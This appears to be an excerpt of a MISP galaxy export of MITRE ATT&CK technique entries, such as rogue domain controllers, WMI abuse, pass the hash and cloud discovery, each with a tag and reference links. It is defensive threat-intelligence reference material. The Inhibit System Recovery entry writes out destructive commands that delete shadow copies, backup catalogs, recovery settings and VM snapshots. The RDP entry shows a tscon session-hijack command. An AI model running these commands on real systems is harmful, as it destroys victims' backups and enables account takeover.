Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)

The tag is: *misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207"*

Table 8444. Table References

Links
https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html
https://adsecurity.org/?page_id=1821
https://attack.mitre.org/techniques/T1207
https://github.com/shellster/DCSYNCMonitor
https://msdn.microsoft.com/en-us/library/ms677626.aspx
https://www.dcshadow.com/

Software Deployment Tools - T1072

Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.

Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to

communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)

Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.

The tag is: *misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072"*

Table 8445. Table References

Links
https://attack.mitre.org/techniques/T1072
https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan

System Information Discovery - T1082

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.

Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. <code>show version</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)

[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"*

Table 8446. Table References

Links
https://attack.mitre.org/techniques/T1082
https://cloud.google.com/compute/docs/reference/rest/v1/instances
https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/
https://www.us-cert.gov/ncas/alerts/TA18-106A
https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire

Windows Remote Management - T1028

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028"*

Table 8447. Table References

Links
http://msdn.microsoft.com/en-us/library/aa384426
https://attack.mitre.org/techniques/T1028
https://capec.mitre.org/data/definitions/555.html
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2

Commonly Used Port - T1043

This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/

techniques/T1571) where appropriate.

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are

- TCP/UDP:135 (RPC)
- TCP/UDP:22 (SSH)
- TCP/UDP:3389 (RDP)

The tag is: *misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043"*

Table 8448. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1043

Private whois services - T1305

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1305).

Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Private whois services - T1305"*

Table 8449. Table References

Links
https://attack.mitre.org/techniques/T1305

Security Software Discovery - T1063

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Windows

Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

Mac

It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

The tag is: *misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063"*

Table 8450. Table References

Links
https://attack.mitre.org/techniques/T1063

Test physical access - T1360

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1360).

An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)

The tag is: *misp-galaxy:mitre-attack-pattern="Test physical access - T1360"*

Table 8451. Table References

Links
https://attack.mitre.org/techniques/T1360

Exploit TEE Vulnerability - T1405

A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405"*

Table 8452. Table References

Links
http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html
https://attack.mitre.org/techniques/T1405
https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://usmile.at/symposium/program/2015/ekberg
https://usmile.at/symposium/program/2015/thomas-holmes

Account Access Removal - T1640

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts.

The tag is: *misp-galaxy:mitre-attack-pattern="Account Access Removal - T1640"*

Table 8453. Table References

Links
https://attack.mitre.org/techniques/T1640

Network Service Discovery - T1046

Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.

Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host's registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"*

Table 8454. Table References

Links
https://attack.mitre.org/techniques/T1046
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html
https://themittenmac.com/what-does-apt-activity-look-like-on-macos/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a

Proxy Through Victim - T1604

Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary's traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)

The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.

The tag is: *misp-galaxy:mitre-attack-pattern="Proxy Through Victim - T1604"*

Table 8455. Table References

Links
https://attack.mitre.org/techniques/T1604
https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html

Windows Management Instrumentation - T1047

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.

The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)

An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)

Note: `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"*

Table 8456. Table References

Links
https://attack.mitre.org/techniques/T1047
https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN
https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.mandiant.com/resources/reports
https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

Stored Application Data - T1409

Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)

Due to mobile OS sandboxing, this technique is only possible in three scenarios:

- An application stores files in unprotected external storage
- An application stores files in its internal storage directory with insecure permissions (e.g. 777)
- The adversary gains root permissions on the device

The tag is: *misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"*

Table 8457. Table References

Links
https://attack.mitre.org/techniques/T1409
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html
https://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html

Inhibit System Recovery - T1490

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
- [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
- <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
- <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>
- <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
- <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware)

On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

On ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall `).(Citation: Cybereason)

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)

The tag is: *misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490"*

Table 8458. Table References

Links
https://attack.mitre.org/techniques/T1490
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/
https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware
https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/
https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware
https://x.com/TheDFIRReport/status/1498657590259109894

Server Software Component - T1505

Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)

The tag is: *misp-galaxy:mitre-attack-pattern="Server Software Component - T1505"*

Table 8459. Table References

Links
https://attack.mitre.org/techniques/T1505
https://www.us-cert.gov/ncas/alerts/TA15-314A

https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/

Archive Collected Data - T1560

An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560"*

Table 8460. Table References

Links
https://attack.mitre.org/techniques/T1560
https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf
https://en.wikipedia.org/wiki/List_of_file_signatures

Web Session Cookie - T1506

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506"*

Table 8461. Table References

Links
https://attack.mitre.org/techniques/T1506

https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html

Uncommonly Used Port - T1065

Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.

The tag is: *misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065"*

Table 8462. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1065

Network Information Discovery - T1507

Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507"*

Table 8463. Table References

Links
https://attack.mitre.org/techniques/T1507

Pass the Hash - T1075

Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075"*

Table 8464. Table References

Links
https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm

https://attack.mitre.org/techniques/T1075
https://capec.mitre.org/data/definitions/644.html

Lateral Tool Transfer - T1570

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.

Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)

Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)

The tag is: *misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570"*

Table 8465. Table References

Links
https://attack.mitre.org/techniques/T1570
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/

Suppress Application Icon - T1508

A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.

This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)

The tag is: *misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508"*

Table 8466. Table References

Links

https://attack.mitre.org/techniques/T1508
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker
https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Cloud Infrastructure Discovery - T1580

An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket's existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)

An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580"*

Table 8467. Table References

Links
https://attack.mitre.org/techniques/T1580

https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/
https://cloud.google.com/sdk/gcloud/reference/compute/instances/list
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html
https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html
https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html
https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html
https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
https://expel.io/blog/finding-evil-in-aws/
https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

Forge Web Credentials - T1606

Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)

Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)

The tag is: *misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606"*

Table 8468. Table References

Links
https://attack.mitre.org/techniques/T1606

https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html
https://github.com/pvanbuijtene/aws-adfs-credential-generator
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wiki.zimbra.com/wiki/Preauth
https://wunderwuzzi23.github.io/blog/passthecookie.html

Remote Desktop Protocol - T1076

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076"*

Table 8469. Table References

Links
http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
https://attack.mitre.org/techniques/T1076
https://capec.mitre.org/data/definitions/555.html
https://github.com/nccgroup/redsnarf

https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx

Local Storage Discovery - T1680

Adversaries may enumerate local drives, disks, and/or volumes and their attributes like total or free space and volume serial number. This can be done to prepare for ransomware-related encryption, to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0109), or as a precursor to [Direct Volume Access](https://attack.mitre.org/techniques/T1006).

On ESXi systems, adversaries may use [Hypervisor CLI](https://attack.mitre.org/techniques/T1059/012) commands such as `esxcli` to list storage connected to the host as well as `.vmdk` files.(Citation: TrendMicro)(Citation: TrendMicro ESXI Ransomware)

On Windows systems, adversaries can use `wmic logicaldisk get` to find information about local network drives. They can also use `Get-PSDrive` in PowerShell to retrieve drives and may additionally use Windows API functions such as `GetDriveType`.(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Volexity)

